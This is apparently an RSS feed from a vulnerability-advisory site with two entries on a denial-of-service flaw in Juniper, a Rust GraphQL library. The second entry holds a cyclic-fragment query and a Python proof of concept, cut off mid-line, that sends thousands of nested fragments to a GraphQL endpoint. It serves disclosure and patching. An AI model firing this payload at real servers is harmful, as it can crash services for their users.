<?xml version='1.0' encoding='UTF-8'?>
<?xml-stylesheet href="/static/style.xsl" type="text/xsl"?>
<rss xmlns:atom="http://www.w3.org/2005/Atom" xmlns:content="http://purl.org/rss/1.0/modules/content/" version="2.0">
  <channel>
    <title>Most recent entries from all</title>
    <link>https://cve.radiocsirt.org</link>
    <description>Contains only the most 10 recent entries.</description>
    <docs>http://www.rssboard.org/rss-specification</docs>
    <generator>python-feedgen</generator>
    <language>en</language>
    <lastBuildDate>Fri, 09 Oct 2026 23:23:50 +0000</lastBuildDate>
    <item>
      <title>CVE-2022-31173 — Juniper is vulnerable to @DOS GraphQL Nested Fragments overflow</title>
      <link>https://cve.radiocsirt.org/vuln/cve-2022-31173</link>
      <description>&lt;p&gt;&lt;strong&gt;Affected:&lt;/strong&gt; graphql-rust juniper&lt;/p&gt;
&lt;p&gt;Juniper is a GraphQL server library for Rust. Affected versions of Juniper are vulnerable to uncontrolled recursion resulting in a program crash. This issue has been addressed in version 0.15.10. Users are advised to upgrade. Users unable to upgrade should limit the recursion depth manually.&lt;/p&gt;</description>
      <content:encoded>&lt;p&gt;&lt;strong&gt;Affected:&lt;/strong&gt; graphql-rust juniper&lt;/p&gt;
&lt;p&gt;Juniper is a GraphQL server library for Rust. Affected versions of Juniper are vulnerable to uncontrolled recursion resulting in a program crash. This issue has been addressed in version 0.15.10. Users are advised to upgrade. Users unable to upgrade should limit the recursion depth manually.&lt;/p&gt;</content:encoded>
      <guid isPermaLink="false">https://cve.radiocsirt.org/vuln/cve-2022-31173</guid>
    </item>
    <item>
      <title>GHSA-4rx6-g5vg-5f3j — Juniper is vulnerable to @DOS GraphQL Nested Fragments overflow</title>
      <link>https://cve.radiocsirt.org/vuln/ghsa-4rx6-g5vg-5f3j</link>
      <description>&lt;p&gt;&lt;strong&gt;Affected:&lt;/strong&gt; crates.io: juniper&lt;/p&gt;
&lt;p&gt;### GraphQL behaviour&lt;/p&gt;
&lt;p&gt;Nested fragment in GraphQL might be quite hard to handle depending on the implementation language.
Some language support natively a max recursion depth. However, on most compiled languages, you should add a threshold of recursion.&lt;/p&gt;
&lt;p&gt;```graphql
# Infinite loop example
query {
    ...a
}&lt;/p&gt;
&lt;p&gt;fragment a on Query {
    ...b
}&lt;/p&gt;
&lt;p&gt;fragment b on Query {
    ...a
}
```&lt;/p&gt;
&lt;p&gt;### POC TLDR
With max_size being the number of nested fragment generated.
At max_size=7500, it should instantly raise:&lt;/p&gt;
&lt;p&gt;![](https://i.imgur.com/wXbUx8l.png)&lt;/p&gt;
&lt;p&gt;However, with a lower size, you will overflow the memory after some iterations.&lt;/p&gt;
&lt;p&gt;### Reproduction steps (Juniper)&lt;/p&gt;
&lt;p&gt;```
git clone https://github.com/graphql-rust/juniper.git
cd juniper
```&lt;/p&gt;
&lt;p&gt;Save this POC as poc.py&lt;/p&gt;
&lt;p&gt;```python
import requests
import time
import json
from itertools import permutations&lt;/p&gt;
&lt;p&gt;print(&amp;#39;=== Fragments POC ===&amp;#39;)&lt;/p&gt;
&lt;p&gt;url = &amp;#39;http://localhost:8080/graphql&amp;#39;&lt;/p&gt;
&lt;p&gt;max_size = 7500
perms = [&amp;#39;&amp;#39;.join(p) for p in permutations(&amp;#39;abcefghijk&amp;#39;)]
perms = perms[:max_size]&lt;/p&gt;
&lt;p&gt;fragment_payloads = &amp;#39;&amp;#39;
for i, perm in enumerate(perms):
    next_perm = perms[i+1] if i &amp;lt; max_size-1 else perms[0]
    fragment_payloads += f&amp;#39;fragment {perm} on Query&amp;#39; + &amp;#39;{&amp;#39; f&amp;#39;...{next_perm}&amp;#39; + &amp;#39;}&amp;#39;&lt;/p&gt;
&lt;p&gt;payload = {&amp;#39;query&amp;#39;:&amp;#39;query{\n  ...&amp;#39; + perms[0] + &amp;#39;\n}&amp;#39; + fragment_payloads,&amp;#39;variables&amp;#39;:{},&amp;#39;operationName&amp;#39;:None}&lt;/p&gt;
&lt;p&gt;headers = {
  &amp;#39;Content-Type&amp;#39;: &amp;#39;application/json&amp;#39;,
}&lt;/p&gt;
&lt;p&gt;try:
    response = requests.request(&amp;#39;POST&amp;#39;, url, headers=headers, json=payload)
    print(response.text)
except requests.exc…&lt;/p&gt;</description>
      <content:encoded>&lt;p&gt;&lt;strong&gt;Affected:&lt;/strong&gt; crates.io: juniper&lt;/p&gt;
&lt;p&gt;### GraphQL behaviour&lt;/p&gt;
&lt;p&gt;Nested fragment in GraphQL might be quite hard to handle depending on the implementation language.
Some language support natively a max recursion depth. However, on most compiled languages, you should add a threshold of recursion.&lt;/p&gt;
&lt;p&gt;```graphql
# Infinite loop example
query {
    ...a
}&lt;/p&gt;
&lt;p&gt;fragment a on Query {
    ...b
}&lt;/p&gt;
&lt;p&gt;fragment b on Query {
    ...a
}
```&lt;/p&gt;
&lt;p&gt;### POC TLDR
With max_size being the number of nested fragment generated.
At max_size=7500, it should instantly raise:&lt;/p&gt;
&lt;p&gt;![](https://i.imgur.com/wXbUx8l.png)&lt;/p&gt;
&lt;p&gt;However, with a lower size, you will overflow the memory after some iterations.&lt;/p&gt;
&lt;p&gt;### Reproduction steps (Juniper)&lt;/p&gt;
&lt;p&gt;```
git clone https://github.com/graphql-rust/juniper.git
cd juniper
```&lt;/p&gt;
&lt;p&gt;Save this POC as poc.py&lt;/p&gt;
&lt;p&gt;```python
import requests
import time
import json
from itertools import permutations&lt;/p&gt;
&lt;p&gt;print(&amp;#39;=== Fragments POC ===&amp;#39;)&lt;/p&gt;
&lt;p&gt;url = &amp;#39;http://localhost:8080/graphql&amp;#39;&lt;/p&gt;
&lt;p&gt;max_size = 7500
perms = [&amp;#39;&amp;#39;.join(p) for p in permutations(&amp;#39;abcefghijk&amp;#39;)]
perms = perms[:max_size]&lt;/p&gt;
&lt;p&gt;fragment_payloads = &amp;#39;&amp;#39;
for i, perm in enumerate(perms):
    next_perm = perms[i+1] if i &amp;lt; max_size-1 else perms[0]
    fragment_payloads += f&amp;#39;fragment {perm} on Query&amp;#39; + &amp;#39;{&amp;#39; f&amp;#39;...{next_perm}&amp;#39; + &amp;#39;}&amp;#39;&lt;/p&gt;
&lt;p&gt;payload = {&amp;#39;query&amp;#39;:&amp;#39;query{\n  ...&amp;#39; + perms[0] + &amp;#39;\n}&amp;#39; + fragment_payloads,&amp;#39;variables&amp;#39;:{},&amp;#39;operationName&amp;#39;:None}&lt;/p&gt;
&lt;p&gt;headers = {
  &amp;#39;Content-Type&amp;#39;: &amp;#39;application/json&amp;#39;,
}&lt;/p&gt;
&lt;p&gt;try:
    response = requests.request(&amp;#39;POST&amp;#39;, url, headers=headers, json=payload)
    print(response.text)
except requests.exc…&lt;/p&gt;</content:encoded>
      <guid isPermaLink="false">https://cve.radiocsirt.org/vuln/ghsa-4rx6-g5vg-5f3j</guid>
    </item>
  </channel>
</rss>
